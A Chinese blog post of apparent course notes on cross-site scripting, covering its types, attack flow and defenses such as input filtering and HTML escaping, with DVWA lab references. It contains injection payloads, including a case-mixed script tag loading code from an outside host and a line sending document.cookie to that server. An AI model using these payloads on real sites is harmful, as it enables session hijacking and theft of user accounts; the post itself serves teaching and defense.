【课】XSS跨站脚本攻击及防护

XSS跨站脚本攻击及防护


初识XSS跨站脚本

XSS漏洞是最广泛、作用最关键的web安全漏洞之一。在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。
XSS的传播性极强,由于web的特点是轻量级、灵活性高,每个用户每天都可能访问很多web站点,每个web站点每天都有成千上万的来访。
如果将XSS攻击配合一些系统内核级的漏洞,完全可能在几个小时之内击垮几百万台智能设备

案例:
myspace 第一个xss攻击
2011.6.28新浪微博
2014.3.9百度贴吧

OWASP排名 XSS注入2017年位居首位

XSS跨站攻击

XSS实际对应的英文是Cross Site Script,缩写为CSS。XSS攻击中跨站不是重点,重点是攻击。
XSS攻击是一种客户端访问嵌入有恶意脚本代码(JS脚本、HTML代码)的Web页面,从而盗取信息,利用身份等的一种攻击行为

XSS攻击本质

  1. 恶意代码未经过滤,与网站正常代码混在一起
  2. 浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行

XSS攻击危害

  1. 盗取信息,包括用户账号、口令及有价值的敏感信息
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 强制进行非法转账
  4. 强制发送电子邮件
  5. 网站挂马
  6. 控制受害者机器向其他网站发起攻击

XSS攻击原理

对一段代码:

<?php
header ("X-XSS-Protection: 0");
// IS there any input?
if( array_key_exists("name", $_GET) && $_GET[ 'name' ] != NULL)
    // Feedback for end user
    echo '<pre>Hello' . $_GET[ 'name' ] . '</pre>';
)

?>

会将Hello和输入内容拼接,如果将name输入<script>alert(222),显然会被执行

XSS攻击过程

  1. 攻击者对页面进行XSS攻击
  2. 受害者浏览页面
  3. 恶意脚本被执行
  4. 受害者浏览恶意页面或发送敏感信息等

XSS攻击特点

  1. 间接攻击
    XSS攻击的最终目标是针对终端用户(包括获取账号密码、种马等),但攻击代码是注入到目标网站
  2. 可更正性
    XSS攻击产生的根本原因是Web网站对用户的输入过滤不足,是一种可更正性错误
  3. 传播性强
    攻击代码是注入到目标网站,每个用户每天都可能访问很多Web站点,每个Web站点每天都有成千上万的访客

XSS攻击与防御

XSS攻击分类

根据攻击的来源,,XSS漏洞攻击可以分成三种类型:

  • 存储型XSS - 危害性最大
    • 持久性:攻击者通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器中,每个访问该帖子/文章的人都会触发该恶意脚本执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
  • 反射型XSS
    • 非持久性:攻击者事先制作好攻击链接,将攻击脚本嵌入到某个URL链接中,诱骗用户自己去点击链接,从而触发攻击代码执行,完成该次攻击。(容易出现在搜索中)
  • DOM型XSS
    经常会归到以上两种中,不同的是只在客户端进行解析,不需要服务器的解析响应。
    • DOM:Document Object Model,即文档对象模型,它是标识和处理一个HTML或XML文档的常用方法,是以面向对象方式描述的文档模型。
    • DOM型XSS基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM结点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行

不同分类的攻击过程和区别

存储型XSS攻击过程

  1. 攻击者发送恶意脚本请求
  2. 恶意脚本被保存到数据库中
  3. 用户正常浏览页面
  4. 从数据库中读取恶意脚本
  5. 将恶意脚本返回用户
  6. 浏览器解析,执行恶意脚本,发起攻击

反射型XSS攻击过程

  1. 攻击者构造特殊URL(包含恶意代码)到目标服务器
  2. 用户浏览目标服务器页面,恶意代码被拼接在HTML中
  3. 恶意代码被执行
  4. 恶意代码窃取数据或冒充用户行为执行攻击者操作

反射型XSS与存储型XSS区别:
存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存储在URL里。
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往结合多种手段诱导用户点击。

DOM型XSS攻击过程

  1. 攻击者构造特殊URL
  2. 用户打开带有恶意代码的URL
  3. 恶意代码发送给用户,并被前端JS取出执行
  4. 恶意代码窃取数据或冒充用户行为执行攻击者操作

DOM型XSS跟前两种XSS的区别:
DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端Javascript自身的安全漏洞,而其他两种XSS都属于服务端的安全漏洞

存储区 插入点
存储型 服务器数据库 HTML
反射型 URL HTML
DOM型 前端存储 前端JavaScript

攻击实例

  • 案例一:
    盗取Cookie:诱骗点击
    攻击者利用反射型XSS漏洞,获取受害者Cookie,从而可以实现无密码登录。注入代码:
<sCRiPt sRC=https://xss8.cc/tvW7>
</sCrIpT>

即引入自己的url中,此url的核心代码:

keep.src='https://xss8.cc/xss.php?do=keepsession&id=tvW7&url='
    +escape(document.location)
    +'&cookie'+escape(document.cookie)};

将获取的Cookie信息传递给站点以外服务器
利用DVWA进行实验

  • 案例二:
    反射型XSS
    利用DVWA进行实验

XSS在实战中入侵

  • 可跨站标签
    • <img>标签src属性
    • <Script>标签src属性
    • <Link>标签href属性
    • Css中<img>标签
    • Flash中<img>标签
  • 入侵方式
    • 测试是否存在跨站
    <script>
    alert("test")
    </script>
    
    • 弹出一个包含浏览者cookie信息的对话框
    <script>
    window.alert(document.cookie)
    </script>
    
    • 打开另一个网页窗口
    <script>
    window.open('要打开的页面''属性')
    </script>
    
    • 出现一个高0,宽0的网页框架,用户不可见
    <iframe src=http://www.target.com/index.asp width=0 height=0></iframe>
    
    • 刷新到另一个页面
    <meta http-equiv="refresh" content="1;URL=http://www.target.com/index.asp">
    
    • Scriptlet引入另一个页面
    <object type="text/x-scriptlet" data="http://www.target.com/index.asp"></object>
    

XSS防范

针对XSS攻击的两大要素:

  1. 攻击者提交恶意代码
    • 防护的重点是针对用户数据,总体思路是:在服务器端对用户提交的内容进行过滤,对URL的参数也进行过滤,屏蔽掉可以造成XSS攻击的内容。
      输入过滤函数:
      • Str_replace()替换函数
      • Preg_replace()执行正则表达式的搜索和替换
      • Strtolower()转换为小写字符,防止大小写绕过
      • Trim()消除空格
      • Srtipslashes()消除反斜杠
        如DVWA中Mideum防护(可大小写、重写绕过)、High(可以用其他标签绕过)等
  2. 浏览器执行恶意代码
    • 要对HTML做充分的转义:
      对于HTML转义通常只有一个规则,将& <> " ' 这几个字符转义掉,确实能起到一定的XSS防护作用;
      htmlspecialchars():将“<”和“>”转换为HTML实体
posted @ 2020-05-14 11:13  醉笑天苍  阅读(244)  评论(0)    收藏  举报